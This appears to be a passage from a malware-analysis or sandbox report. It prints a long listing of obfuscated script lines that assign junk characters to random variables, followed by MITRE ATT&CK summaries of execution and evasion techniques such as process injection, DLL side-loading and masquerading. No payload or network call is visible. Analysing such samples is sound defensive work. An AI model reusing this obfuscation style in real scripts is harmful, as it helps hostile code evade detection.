495	hxqfk = "o";
496	hxqfk = "o";
497	hxqfk = "E";
498	hxqfk = "o";
499	hxqfk = "v";
500	hxqfk = "A";
501	hxqfk = "t";
502	hxqfk = "a";
503	hxqfk = "H";
504	hxqfk = "T";
505	hxqfk = "z";
506	hxqfk = "H";
507	hxqfk = "r";
508	hxqfk = "E";
509	hxqfk = "q";
510	hxqfk = "z";
511	hxqfk = "P";
512	hxqfk = "m";
513	hxqfk = "Z";
514	hxqfk = "X";
515	hxqfk = "s";
516	hxqfk = "y";
517	hxqfk = "A";
518	hxqfk = "z";
519	hxqfk = "F";
520	hxqfk = "N";
521	hxqfk = "D";
522	hxqfk = "M";
523	hxqfk = "X";
524	hxqfk = "F";
525	hxqfk = "w";
526	glqrieqem = "n";
527	glqrieqem = "q";
528	glqrieqem = "k";
529	glqrieqem = "j";
530	glqrieqem = "d";
531	glqrieqem = "L";
532	glqrieqem = "o";
533	glqrieqem = "o";
534	glqrieqem = "n";
535	glqrieqem = "v";
536	glqrieqem = "g";
537	glqrieqem = "x";
538	glqrieqem = "t";
539	glqrieqem = "N";
540	glqrieqem = "u";
541	glqrieqem = "g";
542	glqrieqem = "U";
543	glqrieqem = "j";
544	glqrieqem = "G";
545	glqrieqem = "r";
546	glqrieqem = "Q";
547	dveri = "K";
548	dveri = "b";
549	dveri = "C";
550	dveri = "E";
551	dveri = "B";
552	dveri = "N";
553	dveri = "U";
554	dveri = "Y";
555	dveri = "j";
556	dveri = "d";
557	dveri = "L";
558	dveri = "K";
559	nkfsec = "m";
560	nkfsec = "p";
561	nkfsec = "T";
562	nkfsec = "H";
563	nkfsec = "w";
564	nkfsec = "R";
565	nkfsec = "X";
566	nkfsec = "H";
567	nkfsec = "S";
568	nkfsec = "i";
569	nkfsec = "q";
570	nkfsec = "H";
571	nkfsec = "V";
572	nkfsec = "j";
573	nkfsec = "P";
574	nkfsec = "f";
575	nkfsec = "v";
576	nkfsec = "u";
577	nkfsec = "K";
578	nkfsec = "Y";
579	revsytf = "E";
580	revsytf = "t";
581	revsytf = "c";
582	revsytf = "p";
583	revsytf = "t";
584	revsytf = "r";
585	revsytf = "f";
586	revsytf = "I";
587	revsytf = "l";
588	revsytf = "r";
589	revsytf = "k";
590	revsytf = "z";
591	revsytf = "Z";
592	revsytf = "M";
593	revsytf = "V";
594	revsytf = "Z";
595	revsytf = "B";
596	revsytf = "C";
597	revsytf = "E";
598	revsytf = "A";
599	revsytf = "p";
600	revsytf = "g";
601	revsytf = "j";
602	revsytf = "R";
603	revsytf = "R";
604	revsytf = "t";
605	revsytf = "l";
606	revsytf = "4";
607	edvlz = "0";
608	yduwbjp = "f";
609	yduwbjp = "C";
610	yduwbjp = "V";
611	yduwbjp = "m";
612	yduwbjp = "e";
613	yduwbjp = "u";
614	yduwbjp = "v";
615	yduwbjp = "t";
616	yduwbjp = "T";
617	yduwbjp = "c";
618	yduwbjp = "c";
619	yduwbjp = "o";
620	yduwbjp = "F";
621	yduwbjp = "T";
622	yduwbjp = "N";
623	yduwbjp = "a";
624	yduwbjp = "U";
625	yduwbjp = "q";
626	yduwbjp = "n";
627	yduwbjp = "E";
628	yduwbjp = "Q";
629	yduwbjp = "f";
630	yduwbjp = "I";
631	yduwbjp = "m";
632	yduwbjp = "W";
633	yduwbjp = "Q";
634	yduwbjp = "K";
635	yduwbjp = "x";
636	yduwbjp = "f";
637	yduwbjp = "C";
638	yduwbjp = "I";
639	yduwbjp = "K";
640	yduwbjp = "o";
641	yduwbjp = "N";
642	yduwbjp = "F";
643	yduwbjp = "r";
644	yduwbjp = "s";
645	yduwbjp = "B";
646	yduwbjp = "B";
647	yduwbjp = "k";
648	yduwbjp = "A";
649	yduwbjp = "M";
650	yduwbjp = "E";
651	yduwbjp = "P";
652	yduwbjp = "O";
653	icgyy = "t";
654	icgyy = "I";
655	icgyy = "k";
656	icgyy = "T";
657	icgyy = "Y";
658	icgyy = "A";
659	icgyy = "i";
660	icgyy = "I";
661	icgyy = "Z";
662	icgyy = "F";
663	icgyy = "D";
664	icgyy = "g";
665	icgyy = "j";
666	icgyy = "s";
667	icgyy = "S";
668	icgyy = "\"";
669	xoitj = "f";
670	xoitj = "K";
671	xoitj = "i";
672	xoitj = "L";
673	xoitj = "h";
674	xoitj = "I";
675	xoitj = "y";
676	xoitj = "k";
677	xoitj = "K";
678	xoitj = "P";
679	xoitj = "l";
680	xoitj = "o";
681	xoitj = "a";
682	xoitj = "F";
683	xoitj = "k";
684	xoitj = "Y";
685	xoitj = "u";
686	xoitj = "l";
687	xoitj = "d";
688	xoitj = "I";
689	xoitj = "t";
690	xoitj = "J";
691	xoitj = "T";
692	xoitj = "q";
693	xoitj = "y";
694	xoitj = "V";
695	xoitj = "P";
696	xoitj = "W";
697	xoitj = "X";
698	xoitj = "g";
699	xoitj = "a";
700	tmxnuws = "Z";
701	tmxnuws = "p";
702	tmxnuws = "L";
703	tmxnuws = "l";
704	tmxnuws = "K";
705	tmxnuws = "x";
706	tmxnuws = "f";
707	tmxnuws = "M";
708	tmxnuws = "S";
709	tmxnuws = "e";
710	tmxnuws = "Q";
711	tmxnuws = "u";
712	tmxnuws = "q";
713	tmxnuws = "Q";
714	tmxnuws = "Y";
715	tmxnuws = "b";
716	tmxnuws = "q";
717	tmxnuws = "c";
718	tmxnuws = "U";
719	tmxnuws = "k";
720	tmxnuws = "D";
721	tmxnuws = "R";
722	tmxnuws = "W";
723	tmxnuws = "j";
724	tmxnuws = "q";
725	tmxnuws = "u";
726	tmxnuws = "T";
727	tmxnuws = "A";
728	tmxnuws = "R";
729	tmxnuws = "T";
730	tmxnuws = "e";
731	tmxnuws = "q";
732	tmxnuws = "I";
733	tmxnuws = "u";
734	tmxnuws = "x";
735	tmxnuws = " ";
736	ytolsh = "k";
737	ytolsh = "z";
738	ytolsh = "R";
739	ytolsh = "r";
740	ytolsh = "V";
741	ytolsh = "q";
742	ytolsh = "L";
743	ytolsh = "B";
744	ytolsh = "m";
745	ytolsh = "c";
746	ytolsh = "k";
747	ytolsh = "x";
748	trjqa = "w";
749	trjqa = "W";
750	trjqa = "x";
751	trjqa = "O";
752	trjqa = "p";
753	trjqa = "e";
754	trjqa = "a";
755	trjqa = "U";
756	trjqa = "D";
757	trjqa = "j";
758	trjqa = "l";
759	trjqa = "k";
760	bhgpsmqsg = "z";
761	bhgpsmqsg = "K";
762	bhgpsmqsg = "y";
763	bhgpsmqsg = "j";
764	csebbqiv = "B";
765	csebbqiv = "n";
766	csebbqiv = "Y";
767	csebbqiv = "T";
768	csebbqiv = "N";
769	csebbqiv = "l";
770	csebbqiv = "a";
771	csebbqiv = "c";
772	csebbqiv = "J";
773	csebbqiv = "J";
774	csebbqiv = "a";
775	csebbqiv = "o";
776	csebbqiv = "g";
777	csebbqiv = "x";
778	csebbqiv = "I";
779	csebbqiv = "R";
780	csebbqiv = "p";
781	csebbqiv = "u";
782	csebbqiv = "y";
783	csebbqiv = "a";
784	csebbqiv = "x";
785	csebbqiv = "H";
786	csebbqiv = "R";
787	csebbqiv = "B";
788	csebbqiv = "f";
789	csebbqiv = "o";
790	csebbqiv = "E";
791	csebbqiv = "u";
792	csebbqiv = "h";
793	csebbqiv = "C";
794	csebbqiv = "J";
795	csebbqiv = "V";
796	csebbqiv = "X";
797	csebbqiv = "j";
798	csebbqiv = "V";
799	csebbqiv = "U";
800	csebbqiv = "y";
801	csebbqiv = "w";
802	csebbqiv = "G";
803	csebbqiv = "I";
804	csebbqiv = "R";
805	csebbqiv = "l";
806	pmobe = "H";
807	pmobe = "Y";
808	pmobe = "d";
809	pmobe = "J";
810	pmobe = "g";
811	pmobe = "q";
812	pmobe = "t";
813	pmobe = "\\";
814	pvayceff = "R";
815	pvayceff = "P";
816	pvayceff = "R";
817	pvayceff = "a";
818	pvayceff = "t";
819	pvayceff = "a";
820	pvayceff = "O";
821	pvayceff = "N";
822	pvayceff = "i";
823	pvayceff = "Z";
824	pvayceff = "i";
825	pvayceff = "f";
826	pvayceff = "o";
827	pvayceff = "c";
828	pvayceff = "Q";
829	pvayceff = "P";
830	pvayceff = "Z";
831	pvayceff = "l";
832	pvayceff = "M";
833	pvayceff = "t";
834	pvayceff = "q";
835	pvayceff = "X";
836	pvayceff = "B";
837	pvayceff = "N";
838	pvayceff = "V";
839	pvayceff = "F";
840	pvayceff = "p";
841	pvayceff = "N";
842	pvayceff = "I";
843	pvayceff = "u";
844	pvayceff = "a";
845	pvayceff = "Z";
846	pvayceff = "t";
847	pvayceff = "W";
848	pvayceff = "Y";
849	pvayceff = "p";
850	pvayceff = "O";
851	pvayceff = "O";
852	pvayceff = "x";
853	pvayceff = "L";
854	pvayceff = "a";
855	pvayceff = "w";
856	pvayceff = "N";
857	pvayceff = "m";
858	pvayceff = "E";
859	xyxrjkpyr = "c";
860	xyxrjkpyr = "f";
861	xyxrjkpyr = "t";
862	xyxrjkpyr = "s";
863	xyxrjkpyr = "o";
864	xyxrjkpyr = "D";
865	xyxrjkpyr = "v";
866	xyxrjkpyr = "s";
867	xyxrjkpyr = "l";
868	xyxrjkpyr = "m";
869	xyxrjkpyr = "C";
870	xyxrjkpyr = "i";
871	xyxrjkpyr = "b";
872	xyxrjkpyr = "O";
873	xyxrjkpyr = "v";
874	xyxrjkpyr = "p";
875	xyxrjkpyr = "c";
876	xyxrjkpyr = "A";
877	xyxrjkpyr = "c";
878	xyxrjkpyr = "p";
879	xyxrjkpyr = "q";
880	xyxrjkpyr = "V";
881	xyxrjkpyr = "z";
882	xyxrjkpyr = "l";
883	xyxrjkpyr = "a";
884	xyxrjkpyr = "p";
885	xyxrjkpyr = "k";
886	xyxrjkpyr = "s";
887	xyxrjkpyr = "K";
888	xyxrjkpyr = "u";
889	xyxrjkpyr = "k";
890	xyxrjkpyr = "i";
891	xyxrjkpyr = "m";
892	xyxrjkpyr = "U";
893	xyxrjkpyr = "Y";
894	xyxrjkpyr = "D";
895	xyxrjkpyr = "n";
896	xyxrjkpyr = "k";
897	xyxrjkpyr = "r";
898	cmmjxidz = "r";
899	cmmjxidz = "i";
900	cmmjxidz = "P";
901	cmmjxidz = "S";
902	cmmjxidz = "O";
903	cmmjxidz = "o";
904	cmmjxidz = "u";
905	cmmjxidz = "m";
906	cmmjxidz = "z";
907	cmmjxidz = "M";
908	cmmjxidz = "X";
909	cmmjxidz = "h";
910	cmmjxidz = "Z";
911	cmmjxidz = "l";
912	cmmjxidz = "B";
913	cmmjxidz = "w";
914	cmmjxidz = "O";
915	cmmjxidz = "r";
916	cmmjxidz = "q";
917	cmmjxidz = "e";
918	cmmjxidz = "D";
919	cmmjxidz = "R";
920	cmmjxidz = ".";
921	sizoi = "b";
922	sizoi = "X";
923	sizoi = "y";
924	sizoi = "L";
925	sizoi = "s";
926	sizoi = "m";
927	sizoi = "P";
928	sizoi = "q";
929	sizoi = "N";
930	sizoi = "w";
931	sizoi = "O";
932	sizoi = "J";
933	sizoi = "X";
934	sizoi = "o";
935	sizoi = "C";
936	sizoi = "I";
937	sizoi = "I";
938	sizoi = "s";
939	sizoi = "a";
940	sizoi = "L";
941	sizoi = "L";
942	sizoi = "W";
943	sizoi = "M";
944	sizoi = "d";
945	sizoi = "H";
946	sizoi = "J";
947	sizoi = "w";
948	sizoi = "W";
949	sizoi = "D";
950	sizoi = "x";
951	sizoi = "V";
952	sizoi = "B";
953	sizoi = "q";
954	sizoi = "&";
955	vroud = "M";
956	vroud = "M";
957	vroud = "y";
958	vroud = "M";
959	vroud = "E";
960	vroud = "x";
961	vroud = "r";
962	vroud = "i";
963	vroud = "X";
964	vroud = "D";
965	vroud = "T";
966	vroud = "c";
967	vroud = "L";
968	vroud = "F";
969	vroud = "u";
970	vroud = "B";
971	vroud = "E";
972	vroud = "H";
973	vroud = "N";
974	vroud = "y";
975	vroud = "U";
976	vroud = "L";
977	vroud = "O";
978	vroud = "E";
979	vroud = "J";
980	vroud = "m";
981	vroud = "I";
982	vroud = "Z";
983	vroud = "B";
984	vroud = "B";
985	vroud = "Z";
986	vroud = "U";
987	vroud = "y";
988	vroud = "j";
989	vroud = "H";
990	vroud = "e";
991	vroud = "H";
992	vroud = "E";
993	vroud = "H";
994	vroud = "A";
995	vroud = "a";
996	vroud = "Q";
997	vroud = "r";
998	vroud = "F";
999	vroud = "P";
1000	ncedminsx = "g";
1001	ncedminsx = "R";
1002	ncedminsx = "A";
1003	ncedminsx = "f";
1004	ncedminsx = "z";
1005	ncedminsx = "D";
1006	ncedminsx = "Q";
1007	ncedminsx = "N";
1008	ncedminsx = "m";
1009	ncedminsx = "t";
1010	ncedminsx = "e";
1011	ncedminsx = "S";
1012	ncedminsx = "v";
1013	ncedminsx = "l";
1014	ncedminsx = "I";
1015	ncedminsx = "L";
1016	ncedminsx = "N";
1017	ncedminsx = "d";
1018	ncedminsx = "k";
1019	ncedminsx = "J";
1020	ncedminsx = "E";
1021	ncedminsx = "y";
1022	ncedminsx = "h";
1023	ncedminsx = "L";
1024	ncedminsx = "m";
1025	ncedminsx = "S";
1026	ncedminsx = "d";
1027	ncedminsx = "G";
1028	ncedminsx = "h";
1029	ncedminsx = "O";
1030	ncedminsx = "P";
1031	ncedminsx = "D";
1032	ncedminsx = "B";
1033	ncedminsx = "p";
1034	ncedminsx = "T";
1035	ncedminsx = "Q";
1036	ncedminsx = "x";
1037	ncedminsx = "8";
1038	nfubuh = "M";
1039	nfubuh = "I";
1040	nfubuh = "W";
1041	nfubuh = "n";
1042	nfubuh = "o";
1043	nfubuh = "r";
1044	nfubuh = "d";
1045	nfubuh = "G";
1046	nfubuh = "R";
1047	nfubuh = "F";
1048	nfubuh = "e";
1049	nfubuh = "Z";
1050	nfubuh = "n";
1051	nfubuh = "m";
1052	nfubuh = "l";
1053	nfubuh = "R";
1054	nfubuh = "A";
1055	nfubuh = "v";
1056	nfubuh = "M";
1057	nfubuh = "G";
1058	nfubuh = "H";
1059	nfubuh = "A";
1060	nfubuh = "j";
1061	nfubuh = "e";
1062	nfubuh = "k";
1063	nfubuh = "V";
1064	nfubuh = "J";
1065	nfubuh = "C";
1066	nfubuh = "I";
1067	nfubuh = "F";
1068	nfubuh = "d";
1069	nfubuh = "u";
1070	nfubuh = "I";
1071	nfubuh = "K";
1072	nfubuh = "s";
1073	nfubuh = "j";
1074	nfubuh = "R";
1075	nfubuh = "n";
1076	nfubuh = "I";
1077	nfubuh = ":";
1078	tokqkdwa = "Z";
1079	tokqkdwa = "i";
1080	tokqkdwa = "M";
1081	tokqkdwa = "p";
1082	tokqkdwa = "g";
1083	tokqkdwa = "S";
1084	tokqkdwa = "J";
1085	tokqkdwa = "Z";
1086	tokqkdwa = "f";
1087	tokqkdwa = "O";
1088	tokqkdwa = "Z";
1089	tokqkdwa = "v";
1090	tokqkdwa = "E";
1091	tokqkdwa = "p";
1092	tokqkdwa = "Z";
1093	tokqkdwa = "F";
1094	tokqkdwa = "K";
1095	tokqkdwa = "V";
1096	tokqkdwa = "v";
1097	tokqkdwa = "x";
1098	tokqkdwa = "H";
1099	tokqkdwa = "W";
1100	tokqkdwa = "E";
1101	tokqkdwa = "M";
1102	tokqkdwa = "q";
1103	euztfuwm = "j";
1104	euztfuwm = "Y";
1105	euztfuwm = "F";
1106	euztfuwm = "h";
1107	euztfuwm = "Y";
1108	euztfuwm = "f";
1109	euztfuwm = "d";
1110	euztfuwm = "u";
1111	euztfuwm = "f";
1112	euztfuwm = "P";
1113	euztfuwm = "m";
1114	euztfuwm = "Z";
1115	euztfuwm = "L";
1116	euztfuwm = "l";
1117	euztfuwm = "Y";
1118	euztfuwm = "k";
1119	euztfuwm = "P";
1120	euztfuwm = "m";
1121	euztfuwm = "p";
1122	euztfuwm = "d";
1123	euztfuwm = "y";
1124	euztfuwm = "@";
1125	tbqizwpii = "e";
1126	tbqizwpii = "P";
1127	tbqizwpii = "M";
1128	tbqizwpii = "y";
1129	tbqizwpii = "B";
1130	tbqizwpii = "R";
1131	tbqizwpii = "y";
1132	tbqizwpii = "B";
1133	tbqizwpii = "e";
1134	tbqizwpii = "U";
1135	tbqizwpii = "H";
1136	tbqizwpii = "J";
1137	tbqizwpii = "S";
1138	tbqizwpii = "D";
1139	tbqizwpii = "h";
1140	tbqizwpii = "w";
1141	tbqizwpii = "J";
1142	tbqizwpii = "k";
1143	tbqizwpii = "l";
1144	tbqizwpii = "R";
1145	tbqizwpii = "n";
1146	tbqizwpii = "F";
1147	tbqizwpii = "F";
1148	ohqxsro = "o";
1149	ohqxsro = "O";
1150	ohqxsro = "G";
1151	ohqxsro = "f";
1152	ohqxsro = "y";
1153	ohqxsro = "W";
1154	ohqxsro = "o";
1155	ohqxsro = "J";
1156	ohqxsro = "o";
1157	ohqxsro = "C";
1158	ohqxsro = "G";
1159	ohqxsro = "p";
1160	ohqxsro = "h";
1161	ohqxsro = "J";
1162	ohqxsro = "o";
1163	ohqxsro = "a";
1164	ohqxsro = "U";
1165	ohqxsro = "Z";
1166	ohqxsro = "m";
1167	ohqxsro = "p";
1168	ohqxsro = "f";
1169	ohqxsro = "2";
1170	sxrnfvp = "m";
1171	sxrnfvp = "B";
1172	sxrnfvp = "b";
1173	sxrnfvp = "q";
1174	sxrnfvp = "q";
1175	sxrnfvp = "F";
1176	sxrnfvp = "Y";
1177	sxrnfvp = "T";
1178	sxrnfvp = "H";
1179	sxrnfvp = "j";
1180	sxrnfvp = "E";
1181	sxrnfvp = "Q";
1182	sxrnfvp = "V";
1183	sxrnfvp = "t";
1184	sxrnfvp = "e";
1185	sxrnfvp = "L";
1186	cnspj = "o";
1187	cnspj = "r";
1188	cnspj = "N";
1189	cnspj = "O";
1190	cnspj = "V";
1191	cnspj = "p";
1192	cnspj = "M";
1193	cnspj = "y";
1194	cnspj = "I";
1195	cnspj = "I";
1196	cnspj = "k";
1197	cnspj = "j";
1198	cnspj = "J";
1199	cnspj = "n";
1200	cnspj = "k";
1201	cnspj = "K";
1202	cnspj = "G";
1203	cnspj = "J";
1204	cnspj = "m";
1205	cnspj = "C";
1206	cnspj = "s";
1207	cnspj = "c";
1208	cnspj = "G";
1209	cnspj = "b";
1210	cnspj = "E";
1211	cnspj = "O";
1212	cnspj = "Q";
1213	cnspj = "G";
1214	cnspj = "t";
1215	cnspj = "5";
1216	myehf = "T";
1217	myehf = "z";
1218	myehf = "q";
1219	myehf = "V";
1220	myehf = "-";
1221	wtywybiu = "G";
1222	wtywybiu = "Q";
1223	wtywybiu = "p";
1224	wtywybiu = "f";
1225	wtywybiu = "n";
1226	wtywybiu = "Z";
1227	wtywybiu = "U";
1228	wtywybiu = "F";
1229	wtywybiu = "V";
1230	wtywybiu = "c";
1231	wtywybiu = "K";
1232	wtywybiu = "A";
1233	wtywybiu = "a";
1234	wtywybiu = "E";
1235	wtywybiu = "u";
1236	wtywybiu = "O";
1237	wtywybiu = "j";
1238	wtywybiu = "B";
1239	wtywybiu = "D";
1240	wtywybiu = "s";
1241	wtywybiu = "u";
1242	wtywybiu = "y";
1243	wtywybiu = "c";
1244	wtywybiu = "d";
1245	wtywybiu = "I";
1246	wtywybiu = "O";
1247	wtywybiu = "w";
1248	wtywybiu = "q";
1249	wtywybiu = "X";
1250	wtywybiu = "i";
1251	wtywybiu = "Q";
1252	wtywybiu = "f";
1253	zchcswmx = "S";
1254	zchcswmx = "s";
1255	zchcswmx = "w";
1256	zchcswmx = "U";
1257	zchcswmx = "S";
1258	arjiqt = "Y";
1259	arjiqt = "l";
1260	arjiqt = "i";
1261	arjiqt = "a";
1262	arjiqt = "P";
1263	arjiqt = "Z";
1264	arjiqt = "C";
1265	arjiqt = "q";
1266	arjiqt = "j";
1267	arjiqt = "V";
1268	arjiqt = "f";
1269	arjiqt = "A";
1270	arjiqt = "t";
1271	arjiqt = "D";
1272	arjiqt = "F";
1273	arjiqt = "D";
1274	arjiqt = "N";
1275	arjiqt = "f";
1276	arjiqt = "C";
1277	dgiyzvs = "j";
1278	dgiyzvs = "Y";
1279	dgiyzvs = "w";
1280	dgiyzvs = "G";
1281	dgiyzvs = "o";
1282	dgiyzvs = "a";
1283	dgiyzvs = "Y";
1284	dgiyzvs = "S";
1285	dgiyzvs = "W";
1286	dgiyzvs = "N";
1287	dgiyzvs = "R";
1288	dgiyzvs = "R";
1289	dgiyzvs = "U";
1290	dgiyzvs = "s";
1291	dgiyzvs = "Q";
1292	dgiyzvs = "m";
1293	dgiyzvs = "F";
1294	dgiyzvs = "X";
1295	dgiyzvs = "g";
1296	dgiyzvs = "J";
1297	dgiyzvs = "A";
1298	dgiyzvs = "J";
1299	dgiyzvs = "L";
1300	dgiyzvs = "l";
1301	dgiyzvs = "n";
1302	dgiyzvs = "i";
1303	dgiyzvs = "o";
1304	dgiyzvs = "J";
1305	dgiyzvs = "f";
1306	dgiyzvs = "Q";
1307	dgiyzvs = "P";
1308	dgiyzvs = "R";
1309	dgiyzvs = "U";
1310	dgiyzvs = "L";
1311	dgiyzvs = "w";
1312	dgiyzvs = "U";
1313	dgiyzvs = "f";
1314	dgiyzvs = "c";
1315	dgiyzvs = "h";
1316	dgiyzvs = "g";
1317	dgiyzvs = "u";
1318	dgiyzvs = "g";
1319	dgiyzvs = "H";
1320	foohqf = "j";
1321	foohqf = "C";
1322	foohqf = "U";
1323	foohqf = "W";
1324	foohqf = "o";
1325	foohqf = "G";
1326	foohqf = "z";
1327	foohqf = "h";
1328	foohqf = "i";
1329	yymrfzawr = "X";
1330	yymrfzawr = "Q";
1331	yymrfzawr = "L";
1332	yymrfzawr = "K";
1333	yymrfzawr = "w";
1334	yymrfzawr = "a";
1335	yymrfzawr = "p";
1336	yymrfzawr = "G";
1337	yymrfzawr = "C";
1338	yymrfzawr = "i";
1339	yymrfzawr = "H";
1340	yymrfzawr = "o";
1341	yymrfzawr = "h";
1342	yymrfzawr = "J";
1343	yymrfzawr = "I";
1344	yymrfzawr = "G";
1345	yymrfzawr = "z";
1346	yymrfzawr = "g";
1347	yymrfzawr = "P";
1348	yymrfzawr = "c";
1349	yymrfzawr = "F";
1350	yymrfzawr = "S";
1351	yymrfzawr = "Y";
1352	yymrfzawr = "S";
1353	yymrfzawr = "M";
1354	yymrfzawr = "f";
1355	yymrfzawr = "i";
1356	yymrfzawr = "D";
1357	yymrfzawr = "v";
1358	yymrfzawr = "h";
1359	yymrfzawr = "U";
1360	yymrfzawr = "X";
1361	yymrfzawr = "D";
1362	yymrfzawr = "x";
1363	yymrfzawr = "g";
1364	yymrfzawr = "w";
1365	yymrfzawr = "B";
1366	yymrfzawr = "F";
1367	yymrfzawr = "D";
1368	yymrfzawr = "K";
1369	yymrfzawr = "M";
1370	yymrfzawr = "I";
1371	yymrfzawr = "1";
1372	itfnhvjy = "k";
1373	itfnhvjy = "p";
1374	itfnhvjy = "Z";
1375	itfnhvjy = "q";
1376	itfnhvjy = "I";
1377	itfnhvjy = "p";
1378	itfnhvjy = "V";
1379	itfnhvjy = "E";
1380	itfnhvjy = "L";
1381	itfnhvjy = "J";
1382	itfnhvjy = "l";
1383	itfnhvjy = "w";
1384	itfnhvjy = "h";
1385	itfnhvjy = "w";
1386	itfnhvjy = "v";
1387	zxornkclu = "D";
1388	zxornkclu = "x";
1389	zxornkclu = "v";
1390	zxornkclu = "i";
1391	zxornkclu = "B";
1392	zxornkclu = "O";
1393	zxornkclu = "G";
1394	zxornkclu = "S";
1395	zxornkclu = "A";
1396	zxornkclu = "P";
1397	zxornkclu = "T";
1398	zxornkclu = "g";
1399	zxornkclu = "P";
1400	zxornkclu = "h";
1401	zxornkclu = "z";
1402	zxornkclu = "Z";
1403	zxornkclu = "s";
1404	zxornkclu = "x";
1405	zxornkclu = "T";
1406	zxornkclu = "F";
1407	zxornkclu = "Q";
1408	zxornkclu = "U";
1409	zxornkclu = "f";
1410	zxornkclu = "b";
1411	zxornkclu = "X";
1412	zxornkclu = "T";
1413	zxornkclu = "b";
1414	zxornkclu = "K";
1415	zxornkclu = "A";
1416	zxornkclu = "R";
1417	zxornkclu = "u";
1418	zxornkclu = "v";
1419	zxornkclu = "L";
1420	zxornkclu = "w";
1421	zxornkclu = "n";
1422	zxornkclu = "e";
1423	zxornkclu = "F";
1424	zxornkclu = "h";
1425	zxornkclu = "E";
1426	zxornkclu = "K";
1427	zxornkclu = "N";
1428	ynmylqyf = "i";
1429	ynmylqyf = "P";
1430	ynmylqyf = "t";
1431	ynmylqyf = "K";
1432	ynmylqyf = "Q";
1433	ynmylqyf = "U";
1434	ynmylqyf = "C";
1435	ynmylqyf = "R";
1436	ynmylqyf = "O";
1437	ynmylqyf = "z";
1438	ynmylqyf = "A";
1439	ynmylqyf = "Q";
1440	ynmylqyf = "k";
1441	ynmylqyf = "S";
1442	ynmylqyf = "m";
1443	ynmylqyf = "w";
1444	ynmylqyf = "s";
1445	ynmylqyf = "H";
1446	ynmylqyf = "W";
1447	ynmylqyf = "P";
1448	ynmylqyf = "N";
1449	ynmylqyf = "K";
1450	ynmylqyf = "y";
1451	ynmylqyf = "u";
1452	ynmylqyf = "O";
1453	ynmylqyf = "u";
1454	mlntv = "D";
1455	mlntv = "V";
1456	mlntv = "M";
1457	mlntv = "K";
1458	mlntv = "u";
1459	mlntv = "w";
1460	mlntv = "s";
1461	mlntv = "U";
1462	mlntv = "G";
1463	mlntv = "r";
1464	mlntv = "y";
1465	mlntv = "M";
1466	mlntv = "V";
1467	mlntv = "L";
1468	mlntv = "s";
1469	mlntv = "I";
1470	mlntv = "V";
1471	mlntv = "C";
1472	mlntv = "t";
1473	mlntv = "g";
1474	mlntv = "X";
1475	mlntv = "V";
1476	mlntv = "s";
1477	mlntv = "Q";
1478	mlntv = "h";
1479	mlntv = "A";
1480	mlntv = "r";
1481	mlntv = "D";
1482	mlntv = "K";
1483	mlntv = "d";
1484	mlntv = "N";
1485	mlntv = "n";
1486	sywkfmcr = "k";
1487	sywkfmcr = "R";
1488	sywkfmcr = "Z";
1489	sywkfmcr = "M";
1490	sywkfmcr = "p";
1491	sywkfmcr = "j";
1492	sywkfmcr = "J";
1493	sywkfmcr = "q";
1494	sywkfmcr = "X";
1495	sywkfmcr = "I";
1496	sywkfmcr = "h";
1497	sywkfmcr = "l";
1498	sywkfmcr = "p";
1499	zlpelqs ( );	zlpelqs() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

